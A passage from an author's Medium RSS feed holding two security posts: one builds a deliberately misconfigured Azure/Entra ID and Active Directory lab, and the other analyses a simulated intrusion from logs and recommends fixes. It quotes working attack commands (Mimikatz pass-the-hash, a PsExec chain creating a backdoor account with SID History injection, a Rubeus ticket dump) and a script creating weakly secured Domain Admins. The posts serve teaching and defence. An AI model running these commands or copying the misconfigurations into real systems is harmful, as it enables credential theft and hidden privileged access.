trade-off honestly is more useful to a reader than silently omitting it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F51rm5kgC2M3R6QAB8tPMw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0444828992a0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Meridian & Cole Accounting Scenario IAM exercise]]></title>
            <link>https://medium.com/@byL0r3t/meridian-cole-accounting-scenario-iam-exercise-dadd0f66a9fa?source=rss-5672eb3b9f8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/dadd0f66a9fa</guid>
            <dc:creator><![CDATA[byL0r3t]]></dc:creator>
            <pubDate>Tue, 29 Sep 2026 19:16:51 GMT</pubDate>
            <atom:updated>2026-09-29T19:16:51.816Z</atom:updated>
            <content:encoded><![CDATA[<h3>Building a Deliberately Broken Identity Environment: The Meridian &amp; Cole Accounting Lab</h3><h3>Why I built this</h3><p>Reading about IAM misconfigurations is one thing. Actually provisioning them, clicking through the same Azure and Entra ID portal screens a real admin would, watching a role assignment silently create a security gap, is a completely different kind of learning. So instead of another walkthrough tutorial, I built a fictional company from scratch: <strong>Meridian &amp; Cole Accounting (MCA)</strong>, a regional tax and bookkeeping firm, and deliberately misconfigured its identity environment the way a real, under-resourced small business actually would, not through obvious negligence, but through years of reasonable-sounding shortcuts nobody ever circled back to fix.</p><p>I won’t dwell on every click of the build itself, this post would balloon past readable length. Instead, I’ll cover what I set up, the IAM concept each piece demonstrates, and the specific finding it’s meant to produce. Later posts in this series cover the on-premises Active Directory build and hybrid Entra Connect join, and then the assessment phase, ScubaGear, AzureHound, BloodHound and run against the finished environment.</p><h3>The org structure</h3><p>MCA is a 3-office accounting firm on a single Entra ID tenant, with 21 active staff spread across five departments, each backed by its own Entra ID security group:</p><pre>Dept           | Headcount | Entra Group<br>Partners       | 4 | MCA-Partners<br>Tax Associates | 8 | MCA-TaxAssociates<br>Bookkeeping    | 6 | MCA-Bookkeeping<br>Admin/Reception| 2 | MCA-FrontOffice<br>IT (contractor, part-time) | 1 | MCA-IT<br>Former employees (still enabled) | 3 | — (should be disabled)</pre><p>That last row is deliberate, not a mistake in the table. Three accounts represent staff who left the firm months ago and were never disabled, they don’t belong to any department group, because nobody bothered to remove them from anything on their way out; they just sit in the tenant, fully enabled, fully accessible. This becomes one of the more important findings later on, precisely because it requires no misconfiguration to create, just an absence of process.</p><p>I also created three service accounts, and gave them the same treatment as the departed staff, for the same underlying reason:</p><ul><li>svc-entraconnect</li><li>svc-clientportal</li><li>svc-sharedmailbox</li></ul><p>Security groups created:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JD1NfWtUKvfW_ghnIY80AA.png" /></figure><h3>Phase 2: Privileged access, and more of it than anyone needs</h3><p>I assigned <strong>Global Administrator, </strong>Entra ID’s highest tenant-wide privilege tier to six accounts: three Partners, the IT contractor, a placeholder for the future Entra Connect sync identity, and one additional service account.</p><p>Microsoft’s own guidance recommends keeping Global Admin down to somewhere between 2 and 4 dedicated break-glass accounts. Six, spread across a mix of regular staff, a part-time contractor, and infrastructure automation, is exactly the kind of number a tenant accumulates over years when the role gets handed out reactively, “just give them admin, it’s faster”, and never gets trimmed back down. This is <strong>Finding #1</strong>.</p><p>One sub-detail worth a quick technical note: I also wanted the future Entra Connect sync account to hold <strong>Directory Synchronization Accounts</strong>, a special built-in role reserved for exactly this purpose. It turns out this role is deliberately hidden from both the Azure portal and the Entra admin center UI, it’s not manually assignable through any menu, only visible via Microsoft Graph. Rather than force it through PowerShell ahead of time, I let the actual Entra Connect installation create its own sync account naturally in Phase 7, and only manually granted Global Admin on top of it. That’s arguably the more authentic way <strong>Finding #2</strong> happens in the wild anyway, an admin elevates the sync account “just to fix a sync issue” and never removes it, rather than someone deliberately engineering an over-privileged account from scratch.</p><h3>Phase 3: MFA that stops exactly at the org chart</h3><p>I enabled <strong>legacy per-user MFA, </strong>the older, pre-Conditional-Access mechanism for requiring a second authentication factor, for exactly four accounts: Sarah Cole, James Meridian, Priya Natarajan, and Daniel Osei. All four Partners. Nobody else.</p><p>This is a genuinely common real-world pattern worth naming explicitly: MFA rollout decided by <strong>job title</strong>, not by <strong>actual privilege level</strong>. It feels intuitive, “partners are important, they get the security feature”, but it’s backwards. The IT contractor holding one of those six Global Admin assignments from Phase 2 had zero MFA requirement, despite being a far higher-value target than any individual partner. Security decisions made by organizational hierarchy instead of by risk are one of the most reliable sources of real findings in actual assessments, precisely because they <em>feel</em> reasonable at the moment someone makes them.</p><p>Alongside this, I confirmed <strong>Conditional Access</strong> was completely empty, no policies at all, despite the tenant’s licensing tier fully supporting it. This is <strong>Finding #5</strong>: not a misconfigured policy, but the complete absence of any. And with no Conditional Access framework in place, there’s nowhere to define a break-glass emergency-access account that’s excluded from normal policy enforcement, because there’s no policy to exclude it from in the first place. That’s <strong>Finding #14</strong>: a design gap that’s currently moot (nothing to break glass around) but becomes a real problem the moment someone <em>does</em> eventually configure Conditional Access and forgets to carve out an emergency path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RUpfIfOUHIcZ6MO7bAc5-g.png" /></figure><h3>Phase 4: Former employees and an open front door for guests</h3><p>The three former-employee accounts from the org table needed to actually <em>have</em> the access the finding claims, not just theoretically hold it. I licensed one of them so their Exchange mailbox and SharePoint access were real and demonstrable, not just a claim in a report, but something you could actually log into and screenshot. This is <strong>Finding #6</strong>.</p><p>Then, external collaboration. Entra ID’s guest invite settings control who’s allowed to bring outside collaborators into the tenant, under what restrictions. I set this to the most permissive option available, “Anyone in the organization can invite”, with no expiration policy attached to invited guests at all. That’s <strong>Finding #7</strong>.</p><p>To make the follow-on finding concrete rather than hypothetical, I invited 9 guest accounts, using real email addresses I control (alias Gmail addresses work fine, since redemption requires an actual inbox to click the invite link from), and added them to a SharePoint document library once it existed. These represent external collaborators from a client engagement that, in the scenario’s narrative, ended two years ago, accounts that were never cleaned up afterward, still sitting on document access nobody remembers granting. That’s <strong>Finding #8</strong>, and it’s a natural pairing with #7: permissive invite policy is how the guests get in; no expiration or review process is why they never leave.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fQjEo2W9CQEUZ5ub975Bew.png" /></figure><h3>Phase 5: Azure resource groups, and privilege that doesn’t match the job</h3><p>With the identity layer built, I moved to the Azure side: four resource groups, MCA-PROD-RG, MCA-DOCS-RG, MCA-NETWORK-RG, and MCA-MGMT-RG, mirroring how a real small firm would logically separate its production app, document storage, networking, and monitoring concerns.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9rLZWAf-fVWlVG_Ms5Y8dw.png" /></figure><p>Assign contributor role</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O2Vr-cp03XMmMhuvOoj2HA.png" /></figure><p>The document storage account in MCA-DOCS-RG needed to be accessible to the Bookkeeping team, who read and upload scanned tax documents as part of their daily work. I granted the MCA-Bookkeeping group <strong>Contributor, </strong>not Reader, and not a scoped custom role. Contributor is a management-plane role: it can regenerate the storage account&#39;s access keys, alter network rules, even delete the account outright. None of that is necessary to do bookkeeping work. This is <strong>Finding #9</strong>, and it&#39;s arguably the single most common RBAC mistake in real Azure environments, reaching for a broad built-in role because it &quot;just works,&quot; rather than the narrower one that&#39;s actually sufficient for the job being done.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8x2S-0LFLue47CgTQRTcAw.png" /></figure><p>At the subscription level, a similar pattern shows up with genuine infrastructure control rather than just document access: two of the four Partners hold <strong>Owner, </strong>Azure RBAC’s highest privilege tier, at the subscription scope, despite neither having any operational reason to touch infrastructure. This is <strong>Finding #12</strong>, and it’s what privilege sprawl actually looks like in practice: not one dramatic misconfiguration, but role assignments that accumulated over time and were never subjected to any review process, because no review process exists in this tenant at all.</p><p>The last piece of Phase 5 depended on the SQL Server built in Phase 6, so I’ll cover it there: enabling “Allow Azure services and resources to access this server” under the server’s networking settings. That single checkbox silently creates a firewall rule spanning 0.0.0.0 to 0.0.0.0 meaning any Azure resource in <em>any</em> tenant, not just yours, is permitted to attempt a connection. It&#39;s one of the most reproduced misconfigurations in real Azure environments, precisely because it&#39;s the fastest way to make a deployment &quot;just work&quot; under deadline pressure, and once it works, nobody revisits it. That&#39;s <strong>Finding #13</strong>.</p><h3>Phase 6: The client portal, and the identity nobody remembers</h3><p>MCA’s client-facing web app, where clients log in to view their documents, runs on Azure App Service. I created it in MCA-PROD-RG with a <strong>system-assigned managed identity</strong> enabled: this is the mechanism that lets the app authenticate to storage and other Azure services without a developer ever hard-coding a password into the codebase. Entra ID issues the resource its own identity automatically, tied to the App Service&#39;s own lifecycle.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*FemKAStuI2uNAbClJBdpOg.png" /></figure><p>Assign system managed identity:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LILyIXlEtPGQJ_wIEbKElg.png" /></figure><p>Here’s where it gets more interesting. In the scenario’s backstory, MCA migrated something in 2022, the specifics are lost to institutional memory now, and a second identity type was created for it at the time: a <strong>user-assigned managed identity</strong>. Unlike system-assigned identities, which are tied to one resource and die when it’s deleted, user-assigned identities are standalone Azure objects. You create them independently, attach them to one or more resources, and they persist on their own regardless of what happens to the things they’re attached to.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*XwiB5gaQmHYousdJsNE2ag.png" /></figure><p>Assign the user managed identity on the app service</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-0g-85fMR1DGyxNbX9uUOg.png" /></figure><p>Assign the user managed identity on the storage account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R8pEcg8T9yLM_aw-RHSG2w.png" /></figure><p>I attached this identity to the same App Service and granted it <strong>Storage Blob Data Contributor</strong> on the docs storage account, real, standing write access to client documents. Then I simply left it there. The application’s actual code never references this identity’s client ID at all; it authenticates via the system-assigned identity exclusively. This is <strong>Finding #10</strong>, and it’s a genuinely underrated finding category in real assessments: unlike a person’s stale account, nothing about a forgotten managed identity ever prompts anyone to look at it. There’s no offboarding trigger for an identity that was never tied to a person leaving in the first place, it just holds permissions, silently, until someone specifically goes looking.</p><p>The client portal also needed an <strong>App Registration, </strong>the Entra ID object representing the application itself for authentication purposes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GQp_yZWQoAZobz9dmi5eiQ.png" /></figure><p>Creating a certificate with custom expiration in 2 years:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FXaWk8PH-K3MNW9fpSgErQ.png" /></figure><p>I created a client secret and set its expiration to the longest window the portal allows at creation, roughly two years out, rather than the shorter, rotation-friendly windows Microsoft actually recommends. <strong>Finding #11</strong>. In a firm that reviews nothing, a two-year secret is functionally permanent: it’ll get renewed in a panic when it finally expires and breaks production one day, not proactively rotated ahead of time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*MxBFNBLq38CyvmDvnCeovg.png" /></figure><p>Over the sql server, in the networking area, on public access, we need to enable Azure services and resources to access this server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fELgD02GDmRiOXPvLp0mqw.png" /></figure><p>And finally, the SQL Server and database themselves, closing out Finding #13 as described above.</p><h3>Phase 7 — On-prem AD + hybrid join</h3><h3>A note on “on-prem”</h3><p>MCA’s scenario calls for a legacy on-prem AD environment, a file server and practice management software that predate any cloud migration. I don’t have a spare physical server sitting around, so I simulated it: a Windows Server VM in its own isolated Azure VNet, standing in for a real on-prem network. It’s an honest compromise worth naming rather than glossing over Entra Connect doesn’t actually care whether the domain controller it’s talking to is physically on-prem or virtualized in a cloud provider’s datacenter, since all it needs is outbound internet reachability and a working AD forest to read from. The <em>identity</em> concepts this demonstrates are identical either way; only the literal hardware differs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*lu0CPmqj3r_HiRbPo2_l6A.png" /></figure><p>A deliberately separate address space (10.10.0.0/16) from anything else in the environment, the kind of segmentation a real second network would naturally have, even if in this case it&#39;s simulated rather than physically distinct.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_02huFDsPWW9ngb5jZRivA.png" /></figure><h3>Promoting to a domain controller</h3><p>Two commands, and a Windows Server VM becomes the root of a new Active Directory forest:</p><pre>Install-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools<br><br>Install-ADDSForest -DomainName &#39;mca.local&#39; -DomainNetbiosName &#39;MCA&#39; -InstallDns:$true</pre><p>mca.local is worth pointing out on its own, it&#39;s a <strong>non-routable, internally-scoped domain</strong>, exactly the kind of legacy naming choice a lot of real organizations made in the pre-cloud era, back when nobody expected an internal AD domain to ever need to resolve on the public internet. It becomes relevant again in a few paragraphs, when Entra Connect has an opinion about it.</p><h3>The account structure that makes Finding #15 real</h3><p>Once the forest exists, I created four Domain Admin accounts, two representing named individuals, two deliberately generic:</p><pre>Import-Module ActiveDirectory<br><br>$Password = ConvertTo-SecureString &quot;ChangeMe-LabOnly1!&quot; -AsPlainText -Force<br><br>$Accounts = @(<br>    @{ Name = &quot;Sarah Cole DA&quot;;  SamAccountName = &quot;sarah.cole.da&quot; },<br>    @{ Name = &quot;James Meridian DA&quot;; SamAccountName = &quot;james.meridian.da&quot; },<br>    @{ Name = &quot;svc-backup&quot;;     SamAccountName = &quot;svc-backup&quot; },<br>    @{ Name = &quot;admin-legacy&quot;;   SamAccountName = &quot;admin-legacy&quot; }<br>)<br><br>foreach ($acct in $Accounts) {<br>    New-ADUser `<br>        -Name $acct.Name `<br>        -SamAccountName $acct.SamAccountName `<br>        -AccountPassword $Password `<br>        -Enabled $true `<br>        -PasswordNeverExpires $true `<br>        -ChangePasswordAtLogon $false<br><br>    Add-ADGroupMember -Identity &quot;Domain Admins&quot; -Members $acct.SamAccountName<br><br>    Write-Host &quot;Created and added to Domain Admins: $($acct.SamAccountName)&quot;<br>}<br><br>Get-ADGroupMember -Identity &quot;Domain Admins&quot; | Select-Object Name, SamAccountName<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yZ5SSFOXh2-CI6oxH87Agg.png" /></figure><p>svc-backup and admin-legacy are the finding here. Not because generic service accounts are inherently wrong, legitimate backup and legacy-system-support accounts are completely normal, but because nobody is individually accountable for either one. If an action gets taken under admin-legacy six months from now, there’s no way to know, from the account name alone, which human actually did it. That’s the entire risk svc-backup/admin-legacy-style accounts represent: not malice, just an accountability gap baked into how they were named on day one and never revisited.</p><h3>Before the hybrid join: a clean baseline</h3><p>Worth pausing on the tenant’s state right before Entra Connect enters the picture.</p><p>33 users, 7 groups, zero devices, and Entra Connect explicitly disabled. This is the “before” snapshot, a purely cloud-native tenant, no hybrid trust boundary yet. Everything that follows changes that.</p><h3>The fork in the road: Cloud Sync vs. Connect Sync</h3><p>This is worth its own section, because it’s the single easiest mistake to make at this step, and I nearly made it myself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sLC7VPsOEncvbOQSYcAiFQ.png" /></figure><p>Download agent. Be careful! Download the connect sync and not the cloud sync!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*82gSRTZptlm-vEsQyhj7NQ.png" /></figure><p>Microsoft currently presents <strong>two</strong> distinct hybrid identity products from the same landing page, and they are not interchangeable:</p><ul><li><strong>Cloud Sync: </strong>a lightweight agent, managed from the cloud side, that Microsoft has been steering new adopters toward. It’s genuinely a good product for a lot of scenarios, multi-forest consolidation, minimal on-prem footprint.</li><li><strong>Connect Sync: </strong>the classic, on-prem-managed synchronization engine. This is the one that actually creates the traditional on-prem sync service account, holding the legacy <strong>Directory Synchronization Accounts</strong> role, which is exactly the mechanism Finding #2 depends on.</li></ul><p>Grab the wrong one and you’ll install a fully functional, successfully syncing hybrid identity setup, that just doesn’t produce the specific privileged account this scenario needs. It’s an easy trap precisely because both options <em>work</em>; only one of them tells the story I was trying to tell. If you’re reproducing this yourself: <strong>Connect Sync</strong>, not Cloud Sync.</p><h3>Worth flagging: the sync model has moved on since most tutorials were written</h3><p>Even having picked the correct installer, there’s a newer wrinkle. As of mid-2025, Entra Connect Sync defaults to Application-Based Authentication — a certificate-backed service principal rather than the traditional username/password sync user account most existing documentation still describes. The underlying risk is identical (an unattended identity capable of holding tenant-wide privilege), it’s just wearing a different hat: a service principal instead of a directory user object, discoverable via Get-ADSyncEntraConnectorCredential rather than a name you’d spot in a Users list. If you’re chasing this finding yourself and searching for a “sync account” the way older guides describe, expect to come up empty, check the service principal instead.</p><p>mca.local being non-routable also matters here: Entra Connect can’t map on-prem UPNs to it, since it can’t verify ownership of a domain suffix that was never registered in public DNS. It falls back to your tenant’s default domain for synced account, a small, authentic wrinkle a lot of real organizations hit during their own on-prem-to-cloud migrations for the exact same reason.</p><h3>Deploying the client portal</h3><p>With identity plumbing in place, the client portal application itself went live:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gRy2NwEgRoy2uKEGYX2dwg.png" /></figure><p>The app authenticates to blob storage using the App Service’s managed identity rather than a connection string, which meant one required app setting pointing it at the right storage endpoint:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DJovewNG21BVj2sCqW2fbQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VqGJ9QUUax_UJS5CmqAhxg.png" /></figure><h3>Finding: a workspace with nothing feeding it</h3><p>The last piece of Phase 7/8 is deceptively simple, deliberately so:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aYTELyIuu8BmiClmkrSSqQ.png" /></figure><p>A Log Analytics workspace exists. That’s the entire action taken. No diagnostic settings anywhere in the environment, not on the App Service, not on the SQL Server, not on the storage account, not on Entra ID’s own sign-in and audit logs,point at it. This is <strong>Finding #17</strong>, and it’s worth sitting with, because it’s the finding that makes every other finding in this series worse than it would otherwise be: even if MCA had a security-conscious admin who wanted to catch Findings #1 through #16 as they happened, there is currently no detective control anywhere in this tenant that would have surfaced any of them. The workspace isn’t broken. It’s just empty, which is a different and in some ways more dangerous state, it <em>looks</em> like monitoring exists, right up until you check what’s actually flowing into it.</p><h3>Finding: self-service password reset, quietly absent</h3><p>One more Phase 8 item needs no screenshot at all, which is itself the point: <strong>Identity Governance → Password reset</strong> shows SSPR unconfigured. On MCA’s licensing tier this is the out-of-the-box default, not something anyone actively disabled, which is exactly how these gaps tend to survive in the real world. Nobody turned it off. Nobody ever turned it on, either.</p><p><em>Security assessment report:</em></p><p><a href="https://drive.google.com/file/d/1SZpXRyhbY1tM7dAObzhjq_4_Sgm5Hl0n/view?usp=sharing">https://drive.google.com/file/d/1SZpXRyhbY1tM7dAObzhjq_4_Sgm5Hl0n/view?usp=sharing</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dadd0f66a9fa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hunting an Intrusion in Splunk, Part 3: Moving Sideways, Hiding in Plain Sight, and Fixing It]]></title>
            <link>https://medium.com/@byL0r3t/hunting-an-intrusion-in-splunk-part-3-moving-sideways-hiding-in-plain-sight-and-fixing-it-448f2c2d269d?source=rss-5672eb3b9f8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/448f2c2d269d</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[siem]]></category>
            <category><![CDATA[splunk]]></category>
            <dc:creator><![CDATA[byL0r3t]]></dc:creator>
            <pubDate>Mon, 28 Sep 2026 14:26:44 GMT</pubDate>
            <atom:updated>2026-09-28T14:26:44.975Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This series were written with Claude’s AI help, however the project itself was a master’s project and was not done by AI, not the technical part, not the writing part and it can be retrieved here:</em></p><p><a href="https://drive.google.com/file/d/1KSXg0SzSdbRRwWS9jld1AYaDUlCVhsP9/view?usp=sharing"><em>https://drive.google.com/file/d/1KSXg0SzSdbRRwWS9jld1AYaDUlCVhsP9/view?usp=sharing</em></a></p><p><em>Pass-the-hash, PsExec, SID History injection, Defender tampering, and turning ATT&amp;CK findings into organisational fixes with the NCSC CAF.</em></p><p>Parts 1 and 2 covered how the attacker got in and how they reached the krbtgt hash. This final part covers how they moved across the three hosts (WIN10V, WIN10B and the domain controller), how they tried to stay hidden, and what I recommended.</p><h3>T1550.002: Pass the Hash (Overpass-the-Hash)</h3><p>At 06:14 on 30 September, Defender for Identity reported that <em>Ron Henderson (Helpdesk Administrator)</em>, working from WIN10V, authenticated against the domain controller. The detector name gives away the method: AbnormalKerberosOverpassTheHashSecurityAlert.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M-I6fex0n3qUYEdSjsEs6A.png" /><figcaption>The helpdesk admin’s identity authenticates to the DC from Jeff’s workstation.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*32dL5qJ3Xh9a-6Qmp8CijQ.png" /><figcaption>Defender for Identity maps this to T1550.002.</figcaption></figure><p>The command lines show how it was done. Mimikatz used Ron’s NTLM hash, taken from the earlier LSASS dump, to start new processes as Ron:</p><pre>&quot;mimikatz.exe&quot; privilege::debug &quot;sekurlsa::pth /user:ronhd /ntlm:&lt;REDACTED&gt;<br>  /domain:msdxv2.m365dpoc.com /run:\&quot;powershell.exe dir \\msdxv2-win10b\C$ ...\&quot;&quot; exit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4EnTf2ygBZtGg60ef44aIg.png" /><figcaption>Pass-the-hash as Ron to browse WIN10B’s admin share.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bWa7ccex1-0zWQBlg_fMMg.png" /><figcaption>A second pass-the-hash session, this time to harvest Kerberos tickets.</figcaption></figure><p>Strictly speaking, this is <strong>overpass-the-hash</strong>. The NTLM hash is used to request a Kerberos ticket rather than to authenticate over NTLM directly. The lesson doesn’t change: a strong password policy doesn’t help once hashes can be stolen from memory, because the attacker never needs the plaintext password.</p><h3>T1105 and T1570: Getting the tools in place</h3><p>The tools all ran from one staging folder, C:\M365DAttack\, which contained Mimikatz, PsTools and various scripts. Defender flagged <em>&quot;Multiple dual-purpose tools were dropped on this device.&quot;</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4pWsPBftbwg3Q-B33tx3Kw.png" /><figcaption>The attacker’s staging directory on WIN10V.</figcaption></figure><p>On WIN10B, Rubeus ran from C:\Temp\Rubeus.exe, which suggests it was copied across from WIN10V (lateral tool transfer, T1570). I didn&#39;t have network telemetry showing the transfer itself, so this is an inference from file paths, and it&#39;s worth saying that openly in a report.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*2q1RGCPgBN-kaBF0tF3k_A.png" /><figcaption>Rubeus running from C:\Temp on WIN10B.</figcaption></figure><h3>T1021.001: RDP</h3><p>Defender for Endpoint also flagged a <em>“Suspicious RDP session”</em> on WIN10V. The alert combined several suspicious RDP behaviours with credential access techniques in one alert.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qfDTyuxDPAMNg5DSpVOZdA.png" /><figcaption>Suspicious RDP session activity on WIN10V.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*_MJlwdmW-SeNXp5QYyAPqg.png" /><figcaption>One alert, four techniques.</figcaption></figure><h3>T1021.002 and T1569.002: PsExec to the domain controller</h3><p>This single command was the most damaging one in the whole incident. Running under Jeff’s account, PsExec executed a chain of commands on the domain controller:</p><pre>PsExec.exe \\msdxv2-dc -accepteula cmd /c &quot;<br>  net user /add BDAdmin Password1! &amp;&amp;<br>  net stop ntds /y &amp;&amp;<br>  powershell Add-ADDBSidHistory -SamAccountName BDAdmin -SidHistory S-1-5-32-544 ... &amp;&amp;<br>  net start ntds&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LVLY2s3_80AJKa_UDEVoKg.png" /><figcaption>One PsExec command: create a backdoor account, stop AD, inject SID History, restart AD.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q8fSrVMd1tNa6SfH-V4Ieg.png" /><figcaption>Executed as Jeff, using SMB admin shares and a remote service.</figcaption></figure><p>PsExec connects over SMB to the target’s admin share, installs a temporary service, and runs the command through that service. That’s why it covers both T1021.002 (SMB/Admin Shares) and T1569.002 (Service Execution). Note that Defender rated this alert only <strong>Medium</strong>.</p><h3>T1134.005: SID History Injection</h3><p>The command above creates a new account, <strong>BDAdmin</strong>, with the password Password1!. It then stops the NTDS service so it can write to the AD database offline, and adds <strong>S-1-5-32-544</strong> to BDAdmin&#39;s SID History attribute.</p><p>S-1–5–32–544 is <strong>BUILTIN\Administrators</strong>. On a domain controller, that group controls the DC itself. SID History exists for domain migrations, so that a migrated user keeps access to resources from their old domain. Here it’s abused so that BDAdmin gets administrator rights <strong>without appearing in any admin group</strong>. Anyone auditing group membership would see nothing unusual.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*5YqGx8r-N-C-G5MzikJqKQ.png" /><figcaption>A backdoor administrator that doesn’t show up in any admin group.</figcaption></figure><p>Two things stand out here. First, Jeff’s context could create accounts on the DC and stop NTDS. Second, Password1! was accepted as a password. Together those point to broken privilege boundaries and a weak password policy.</p><h3>T1550.003: Pass the Ticket</h3><p>Rubeus was then run on WIN10B through PsExec to dump Steve’s Kerberos tickets:</p><pre>PsExec.exe \\msdxv2-win10b -accepteula cmd /c<br>  &quot;C:\Temp\Rubeus.exe dump /service:krbtgt /user:steve &gt; C:\Temp\AdminTicket.txt&quot;<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B6FyLZ9T5G9-Z9QnPftyNQ.png" /><figcaption>Searching for Rubeus executions.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eXQY7oZ8RkWeaKi1rn4Htw.png" /><figcaption>Dumping Steve’s ticket-granting tickets from WIN10B.</figcaption></figure><p>Defender for Identity then saw Steve’s ticket, taken from WIN10B, being <strong>used on WIN10V</strong> to access three resources. That’s a textbook pass-the-ticket.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*Qc3RoJkaSVmerrOLS_fiCA.png" /><figcaption>Steve’s ticket was taken from WIN10B and replayed on WIN10V.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*eJU4ge2bdocVUo_xgZsRrw.png" /><figcaption>Pass-the-ticket confirmed.</figcaption></figure><h3>The cloud side: T1078.004 and T1110.003</h3><p>The incident also reached Entra ID. On 11 November, Identity Protection raised <em>“Unfamiliar sign-in properties”</em> for <strong>msftadmin</strong> from 20.97.33.228.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*mWkbFIzdHHPBvjGrzzW7Dg.png" /><figcaption>An unfamiliar sign-in for the tenant admin account.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*W4zsqaWZAO1q0C35pnY3qw.png" /><figcaption>Mapped to T1078.004, Valid Accounts: Cloud Accounts.</figcaption></figure><p>On the same day, Identity Protection detected a <strong>password spray</strong>: a few common passwords tried against many accounts, which stays under the lockout thresholds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*D0dsVUOlw_gchgnaS05tcw.png" /><figcaption>Password spray detected by Entra ID Identity Protection.</figcaption></figure><p>The logs don’t prove the spray is what led to the msftadmin sign-in. Still, a spray followed by an unfamiliar admin sign-in on the same day is a correlation that deserves immediate investigation.</p><h3>T1562.001: Trying to blind the defenders</h3><p>Finally, on 16 November, there was an attempt to turn off a Microsoft Defender Antivirus protection feature on WIN10B, while Steve was logged on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*DufEvJy3jhxXUK1RjSbDDA.png" /><figcaption>An attempt to disable Defender Antivirus protection on WIN10B.</figcaption></figure><p>Tampering with the EDR is usually a sign that the attacker expects to do something noisy next. Tamper Protection exists to block exactly this.</p><h3>What I’d fix</h3><p>Here are the recommendations, grouped by the part of the attack chain they break. The MITRE mitigation IDs are in brackets.</p><p><strong>Phishing and initial access.</strong> Enforce phishing-resistant MFA (M1032). Detonate URLs at click time instead of relying on reputation alone. Run awareness training that covers <em>internal</em> phishing, not just external senders. Alert on inbox rules that forward to external addresses, and block external auto-forwarding by default.</p><p><strong>Credential protection.</strong> Enable Credential Guard and run LSASS as a protected process (RunAsPPL) (M1043). Disable WDigest. Alert on LSASS access. Remove local admin rights from standard users (M1018). Deploy LAPS so that one stolen local admin hash doesn’t work on every machine.</p><p><strong>Lateral movement.</strong> Restrict NTLM wherever you can. Adopt a tiered admin model so helpdesk and IT Director credentials never touch standard workstations. Block PsExec-style remote service creation from workstations to DCs.</p><p><strong>DCSync.</strong> Audit which accounts hold replication rights (Replicating Directory Changes / Changes All) and remove any that aren’t domain controllers. Alert on Event ID 4662 with replication GUIDs coming from non-DC sources.</p><p><strong>SID History.</strong> Monitor for changes to the SID History attribute. Enable SID filtering. Hunt for accounts whose SID History contains privileged well-known SIDs.</p><p><strong>Golden Ticket.</strong> Reset the krbtgt password <strong>twice</strong>, allowing for replication in between, because AD keeps the previous hash as valid. Monitor Event IDs 4769, 4624 and 4627 for ticket anomalies, and take Defender for Identity’s time-anomaly alerts seriously.</p><p><strong>Defense evasion.</strong> Turn on Defender Tamper Protection across the whole estate.</p><h3>Why the NCSC CAF, and not just MITRE</h3><p>MITRE ATT&amp;CK is excellent for describing <em>what the attacker did</em> and the technical control that stops each technique. It says nothing about why an IT Director’s credentials were cached on a 